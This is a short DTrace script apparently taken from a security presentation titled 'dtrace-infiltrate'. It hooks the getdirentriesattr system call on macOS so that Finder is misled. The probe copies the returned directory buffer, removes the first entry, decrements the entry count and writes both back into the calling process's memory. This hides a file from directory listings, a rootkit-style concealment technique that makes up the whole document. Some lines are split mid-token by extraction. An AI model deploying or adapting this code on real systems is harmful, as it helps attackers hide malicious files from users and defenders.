dtrace-infiltrate

Hooking Finder
syscall::getdirentriesattr:return
/self->gda_thiscall != 0/
{
this->newcount = (unsigned int *)
copyin(self->gda_count,sizeof(int));
*this->newcount = *this->newcount - 1;
this->dirblob =
copyin(self->gda_thiscall,self->gda_bufsize);
this->firstlen = *(unsigned int *)this->dirblob;
copyout((void *)((char *)this->dirblob + this-
>firstlen),self->gda_thiscall, self->gda_bufsize - this-
>firstlen);
copyout(this->newcount,self->gda_count,sizeof(unsigned int));
self->gda_thiscall = 0;
}